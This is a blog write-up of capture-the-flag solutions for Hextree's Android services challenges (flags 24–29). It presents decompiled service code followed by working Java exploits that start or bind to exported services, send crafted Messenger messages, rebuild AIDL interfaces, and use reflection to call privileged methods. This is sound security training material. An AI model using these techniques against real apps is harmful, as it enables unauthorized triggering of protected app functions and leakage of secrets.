Skip to main content
  1. posts/

HEX Tree Services Challenges

·1876 words·9 mins·
Ctf Andorid Services Hextree
Table of Contents

Flag 24
#

Code analysis
#

<activity
            android:name="io.hextree.attacksurface.activities.Flag24Activity"
            android:exported="false"/>
public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        this.f = new LogHelper(this);
        Intent intent = getIntent();
        String stringExtra = intent.getStringExtra("secret");
        this.f.addTag(intent.getAction());
        if (Flag24Service.secret.equals(stringExtra)) {
            success(this);
        }
    }

The activity waits for an intent that has secret extra string and if it’s equal to the same value in Flag24Service we get our flag. But since we cant get in need another way

<service
    android:name="io.hextree.attacksurface.services.Flag24Service"
	android:enabled="true"
    android:exported="true">
    <intent-filter>
	    <action android:name="io.hextree.services.START_FLAG24_SERVICE"/>
    </intent-filter>
</service>

this an exposed service that listens to action named io.hextree.services.START_FLAG24_SERVICE

 @Override // android.app.Service
    public int onStartCommand(Intent intent, int i, int i2) {
        if (intent.getAction().equals("io.hextree.services.START_FLAG24_SERVICE")) {
            success();
        }
        return super.onStartCommand(intent, i, i2);
    }

    private void success() {
        Intent intent = new Intent(this, (Class<?>) Flag24Activity.class);
        intent.setAction("io.hextree.services.START_FLAG24_SERVICE");
        intent.putExtra("secret", secret);
        intent.addFlags(268468224);
        intent.putExtra("hideIntent", true);
        startActivity(intent);
    }

In the service when it’s started it checks for the action of intent and when it’s true a method that will create an intent with extra string secret and will start flag24activity

Solution
#

Sending an intent with action "io.hextree.services.START_FLAG24_SERVICE" to the service will do the trick

Intent send = new Intent();  
send.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag24Service");  
send.setAction("io.hextree.services.START_FLAG24_SERVICE");  
startService(send);

Flag 25
#

Code analysis
#

    boolean lock1 = false;
    boolean lock2 = false;
    boolean lock3 = false;
    
    public int onStartCommand(Intent intent, int i, int i2) {
        if (intent != null) {
            if (intent.getAction().equals("io.hextree.services.UNLOCK1")) {
                this.lock1 = true;
            }
            if (intent.getAction().equals("io.hextree.services.UNLOCK2")) {
                if (this.lock1) {
                    this.lock2 = true;
                } else {
                    resetLocks();
                }
            }
            if (intent.getAction().equals("io.hextree.services.UNLOCK3")) {
                if (this.lock2) {
                    this.lock3 = true;
                } else {
                    resetLocks();
                }
            }
            if (this.lock1 && this.lock2 && this.lock3) {
                success();
                resetLocks();
            }
        }
    }
    private void success() {
        Intent intent = new Intent(this, (Class<?>) Flag25Activity.class);
        intent.putExtra("secret", secret);
        intent.putExtra("lock", "lock1");
        intent.putExtra("lock2", "lock3");
        startActivity(intent);
    }

This service has 3 variables for 3 locks and with each lock is opened “set to true” with each intent sent with valid action for example : lock1 = true when action is io.hextree.services.UNLOCK1 and when all 3 locks are open a method is called that will create an intent with some extra strings then activity25 needs so that we get our flag

Solution
#

since services keep the state of variables as long as service is running so we will send 3 intents to the service with that 3 locks actions

Intent send = new Intent();  
send.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag25Service");  
send.setAction("io.hextree.services.UNLOCK1");  
startService(send);  
  
send.setAction("io.hextree.services.UNLOCK2");  
startService(send);  
  
send.setAction("io.hextree.services.UNLOCK3");  
startService(send);

Flag 26
#

Code analysis
#

public static final int MSG_SUCCESS = 42;
class IncomingHandler extends Handler {
        String echo;
        IncomingHandler(Looper looper) {
            super(looper);
            this.echo = "";
        }
        @Override // android.os.Handler
        public void handleMessage(Message message) {
            Log.i("Flag26Service", "handleMessage(" + message.what + ")");
            if (message.what == 42) {
                Flag26Service.this.success(this.echo);
            } else {
                super.handleMessage(message);
            }
        }
    }

The service is listening for incoming messages using IncomingHandler and If the message type (message.what) is 42 it will call success method

Solution
#

So binds to Flag26Service and sends a message with what = 42 to trigger the success condition. First we establish a server connection that will have our message and send it then we bind to it with bindservice

private ServiceConnection serviceConnection1 = new ServiceConnection() {  
    @Override  
    public void onServiceConnected(ComponentName name, IBinder service) {  
        serviceMessenger = new Messenger(service);  
        Message msg = Message.obtain(null, 42);  
        try{  
            serviceMessenger.send(msg);  
        }  
        catch (RemoteException e){  
            throw new RuntimeException(e);  
        }  
    }  
    @Override  
    public void onServiceDisconnected(ComponentName name) {  
    }  
};
Intent send = new Intent();  
send.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag26Service");  
bindService(send,serviceConnection1, Context.BIND_AUTO_CREATE);

Flag 27
#

Code analysis
#

public void handleMessage(Message message) {
            int i = message.what;
            if (i == 1) {
                this.echo = message.getData().getString("echo");
                Toast.makeText(Flag27Service.this.getApplicationContext(), this.echo, 0).show();
                return;
            }
            if (i != 2) {
                if (i == 3) {
                    String string = message.getData().getString("password");
                    if (!this.echo.equals("give flag") || !this.password.equals(string)) {
                        Flag27Service.this.sendReply(message, "no flag");
                        return;
                    } else {
                        Flag27Service.this.sendReply(message, "success! Launching flag activity");
                        Flag27Service.this.success(this.echo);
                        return;
                    }
                }
                super.handleMessage(message);
                return;
            }

The service processes messages based on message.what (an integer representing the message type):

  • case = 1: an echo message is extracted and displayed via a toast
  • case = 3: string password & echo are extracted and compared to some values and if true we get our flag
            if (message.obj == null) {
                Flag27Service.this.sendReply(message, "Error");
                return;
            }
            Message obtain = Message.obtain((Handler) null, message.what);
            Bundle bundle = new Bundle();
            String uuid = UUID.randomUUID().toString();
            this.password = uuid;
            bundle.putString("password", uuid);
            obtain.setData(bundle);
            try {
                message.replyTo.send(obtain);
                Flag27Service.this.sendReply(message, "Password");
            } catch (RemoteException e) {
                throw new RuntimeException(e);
            }
        }
    }
  • case = 2 : if message object is not null it will generates a random UUID as a password then Sends the password back to the us via message.replyTo.
    public void sendReply(Message message, String str) {
        try {
            Message obtain = Message.obtain((Handler) null, message.what);
            obtain.getData().putString("reply", str);
            message.replyTo.send(obtain);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }
  • Sends a reply back to the client using message.replyTo.
  • The reply contains:
    • The same what value as the original message.
    • A reply string in the Bundle.

Solution
#

we need to create a connection to service and obtain the result with value 2 to get password then we will use it and send it along with echo and we will use IncomingMessageHandle() to send message content

private static Messenger serviceMessenger = null;  
private static String obtainedPassword;  
private static final Messenger clientMessegener = new Messenger(new services.IncomingMessageHandle());

private ServiceConnection serviceConnection2 = new ServiceConnection() {  
    @Override  
    public void onServiceConnected(ComponentName name, IBinder binder) {  
        serviceMessenger = new Messenger(binder);  
  
        Message msg = Message.obtain(null, 2);  
        msg.obj = new Bundle();  
        msg.replyTo = new Messenger(new IncomingMessageHandle());  
        try{  
            serviceMessenger.send(msg);  
        }  
        catch (RemoteException e){  
            throw new RuntimeException(e);  
        }  
    }  
    @Override  
    public void onServiceDisconnected(ComponentName name) {  
    }  
};
static class IncomingMessageHandle extends Handler {  
    IncomingMessageHandle() {super(Looper.getMainLooper());}  
    @Override  
    public void handleMessage(Message msg) { 
     
        Bundle reply =  msg.getData();  
        obtainedPassword = reply.getString("password");  
        if(reply != null && obtainedPassword != null) {  
            Log.i("msg", reply.toString());  
            Log.d("password", "Obtained password: " + obtainedPassword);  
  
            msg = Message.obtain(null, 1);  
            Bundle bundle = new Bundle();  
            bundle.putString("echo", "give flag");  
            msg.setData(bundle);  
            msg.replyTo = clientMessegener;  
            try {  
                serviceMessenger.send(msg);  
            } catch (RemoteException e) {  
                e.printStackTrace();  
            }  


            msg = Message.obtain(null, 3);  
            bundle = new Bundle();  
            bundle.putString("password", obtainedPassword);  
            msg.setData(bundle);  
            msg.replyTo = clientMessegener;  
            try {  
                serviceMessenger.send(msg);  
            } catch (RemoteException e) {  
                e.printStackTrace();  
            }  
        }  
        else{  
            Log.i("X", "NO Reply");  
        }  
    }  
}
Intent send = new Intent();  
send.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag27Service");  
bindService(send,serviceConnection2, Context.BIND_AUTO_CREATE);

Flag 28
#

Code analysis
#

package io.hextree.attacksurface.services;
private final IFlag28Interface.Stub binder = new IFlag28Interface.Stub() {
        @Override // io.hextree.attacksurface.services.IFlag28Interface
        public boolean openFlag() throws RemoteException {
            return success();
        }

        public boolean success() {
            Intent intent = new Intent();
            intent.setClass(Flag28Service.this, Flag28Activity.class);
            intent.putExtra("secret", Flag28Service.secret);
            intent.addFlags(268468224);
            intent.putExtra("hideIntent", true);
            Flag28Service.this.startActivity(intent);
            return true;
        }
    };

by looking at the onBind() method that returns some kind of .Stub binder Which means we are dealing with AIDL file, Looking more we can see that it only implements a single method of type Boolean that just by calling The method we get success called

Solution
#

In order for our app to call this method it needs to know it in the first place right? so reversing the aidl we get

Defining the file
#
// IFlag28Interface.aidl  
package io.hextree.attacksurface.services;  
  
interface IFlag28Interface {     
	boolean openFlag();  
}

now creating a connection to service and using IFlag28Interface to get access to methods in it we call openFlag

Intent send = new Intent();  
send.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag28Service");  
ServiceConnection serviceConnection3 = new ServiceConnection() {  
    @Override  
    public void onServiceConnected(ComponentName name, IBinder service) {  
        IFlag28Interface remoteService = IFlag28Interface.Stub.asInterface(service);  
        try {  
            remoteService.openFlag();  
        } catch (RemoteException e) {  
            throw new RuntimeException(e);  
        }  
    }  
    @Override  
    public void onServiceDisconnected(ComponentName name) {  
    }  
};  
  
bindService(send,serviceConnection3, Context.BIND_AUTO_CREATE);
Class loading
#
Intent send = new Intent();  
send.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag28Service");  
ServiceConnection serviceConnection4 = new ServiceConnection() {  
    @Override  
    public void onServiceConnected(ComponentName name, IBinder service) {  
        // Load the class dynamically  
        ClassLoader classLoader = null;  
        try {  
            classLoader = services.this.createPackageContext("io.hextree.attacksurface",  
                    Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY).getClassLoader();  
            Class<?> iRemoteServiceClass;  
            // Load the AIDL interface class  
            iRemoteServiceClass = classLoader.loadClass("io.hextree.attacksurface.services.IFlag28Interface");  
            Class<?> stubClass = null;  
            for (Class<?> innerClass : iRemoteServiceClass.getDeclaredClasses()) {  
                if (innerClass.getSimpleName().equals("Stub")) {  
                    stubClass = innerClass;  
                    break;  
                }  
            }  
            // Get the asInterface method  
            Method asInterfaceMethod = stubClass.getDeclaredMethod("asInterface", IBinder.class);  
  
 // Invoke the asInterface method to get the instance of IRemoteService
        Object iRemoteService = asInterfaceMethod.invoke(null, service);

        // Call the init method and get the returned string
        Method openFlagMethod = iRemoteServiceClass.getDeclaredMethod("openFlag");
        boolean initResult = (boolean) openFlagMethod.invoke(iRemoteService);
  
  
        } catch (Exception e) {  
            Log.e("Flag29Service", "Error creating package context", e);  
        }  
    }  
  
    @Override  
    public void onServiceDisconnected(ComponentName name) {  
    }  
};  
  
bindService(send,serviceConnection4, Context.BIND_AUTO_CREATE);

Flag 29
#

Code analysis
#

package io.hextree.attacksurface.services;

    private final IFlag29Interface.Stub binder = new IFlag29Interface.Stub() { 
        
        Intent intent = new Intent();

        @Override // io.hextree.attacksurface.services.IFlag29Interface
        public String init() throws RemoteException {
            Log.i("Flag29", "service.init()");
            return this.pw;
        }

        @Override // io.hextree.attacksurface.services.IFlag29Interface
        public void authenticate(String str) throws RemoteException {
            Log.i("Flag29", "service.authenticate(" + str + ")");
            if (str.equals(this.pw)) {
                this.intent.putExtra("authenticated", true);
            } else {
                this.intent.removeExtra("authenticated");
            }
        }

        @Override // io.hextree.attacksurface.services.IFlag29Interface
        public void success() throws RemoteException {
            Log.i("Flag29", "service.success()");
            this.intent.setClass(Flag29Service.this, Flag29Activity.class);
            if (this.intent.getBooleanExtra("authenticated", false)) {
                this.intent.putExtra("secret", Flag29Service.secret);
                this.intent.addFlags(268435456);
                this.intent.putExtra("hideIntent", true);
                Flag29Service.this.startActivity(this.intent);
            }
        }
    };

The service uses init() to initiate flag29 and return a string then authenticate takes a string and if that string is the same an authenticated string is added to intent along with true value

public interface IFlag29Interface extends IInterface {
    public static final String DESCRIPTOR = "io.hextree.attacksurface.services.IFlag29Interface";

    public static class Default implements IFlag29Interface {
        @Override // android.os.IInterface
        public IBinder asBinder() {
            return null;
        }
//our 3 methods 
        @Override // io.hextree.attacksurface.services.IFlag29Interface
        public void authenticate(String str) throws RemoteException {
        }

        @Override // io.hextree.attacksurface.services.IFlag29Interface
        public String init() throws RemoteException {
            return null;
        }

        @Override // io.hextree.attacksurface.services.IFlag29Interface
        public void success() throws RemoteException {
        }
    }

    public static abstract class Stub extends Binder implements IFlag29Interface {
        static final int TRANSACTION_authenticate = 2;
        static final int TRANSACTION_init = 1;
        static final int TRANSACTION_success = 3;

okay now from here we have the DESCRIPTOR and the order of methods should be

  1. init()
  2. authenticate()
  3. success()

Solution
#

Defining the file
#

Now creating the aidl file with the order in mind we get

// IFlag29Interface.aidl  
package io.hextree.attacksurface.services;  

interface IFlag29Interface {  
	String init();  
	void authenticate(String str);  
    void success();  
}

then in our app we create a service connection using IFlag29Interface and calling init() while saving the string returned in pass then passing it to authenticate() and finally calling success()

Intent send = new Intent();  
send.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag29Service");  
ServiceConnection serviceConnection4 = new ServiceConnection() {  
    @Override  
    public void onServiceConnected(ComponentName name, IBinder service) {  
        IFlag29Interface remoteService = IFlag29Interface.Stub.asInterface(service);  
        try {  
            String pass = remoteService.init();  
            remoteService.authenticate(pass);  
            remoteService.success();  
        } catch (RemoteException e) {  
            throw new RuntimeException(e);  
        }  
    }  
  
    @Override  
    public void onServiceDisconnected(ComponentName name) {  
    }  
};  
  
bindService(send,serviceConnection4, Context.BIND_AUTO_CREATE);
Class loading
#
Intent send = new Intent();  
send.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag29Service");  
ServiceConnection serviceConnection4 = new ServiceConnection() {  
    @Override  
    public void onServiceConnected(ComponentName name, IBinder service) {  
        // Load the class dynamically  
        ClassLoader classLoader = null;  
        try {  
            classLoader = services.this.createPackageContext("io.hextree.attacksurface",  
                    Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY).getClassLoader();  
            Class<?> iRemoteServiceClass;  
            // Load the AIDL interface class  
            iRemoteServiceClass = classLoader.loadClass("io.hextree.attacksurface.services.IFlag29Interface");  
            Class<?> stubClass = null;  
            for (Class<?> innerClass : iRemoteServiceClass.getDeclaredClasses()) {  
                if (innerClass.getSimpleName().equals("Stub")) {  
                    stubClass = innerClass;  
                    break;  
                }  
            }  
            // Get the asInterface method  
            Method asInterfaceMethod = stubClass.getDeclaredMethod("asInterface", IBinder.class);  
  
            // Invoke the asInterface method to get the instance of IRemoteService  
            Object iRemoteService = asInterfaceMethod.invoke(null, service);  
  
            // Call the init method and get the returned string  
            Method initMethod = iRemoteServiceClass.getDeclaredMethod("init");  
            String password = (String) initMethod.invoke(iRemoteService);  
            Log.d("Flag29Service", "Password: " + password);  
  
            // Call the authenticate method with the password  
            Method authenticateMethod = iRemoteServiceClass.getDeclaredMethod("authenticate", String.class);  
            authenticateMethod.invoke(iRemoteService, password);  
  
            // Call the success method  
            Method successMethod = iRemoteServiceClass.getDeclaredMethod("success");  
            successMethod.invoke(iRemoteService);  
  
  
        } catch (Exception e) {  
            Log.e("Flag29Service", "Error creating package context", e);  
        }  
    }  
  
    @Override  
    public void onServiceDisconnected(ComponentName name) {  
    }  
};  
  
bindService(send,serviceConnection4, Context.BIND_AUTO_CREATE);
Reply by Email
Saeed Khalid
Author
Saeed Khalid
Just trying to have fun

Related

HEX Tree Content & File providers Challenges
·3749 words·18 mins
Ctf Andorid Contnet Provider File Provider Hextree
HEX Tree intent Challenges
·3792 words·18 mins
Ctf Andorid Intent Implicit Deep Link Pending Hextree
HEX Tree Broadcast Challenges
·1119 words·6 mins
Ctf Andorid Broadcast Hextree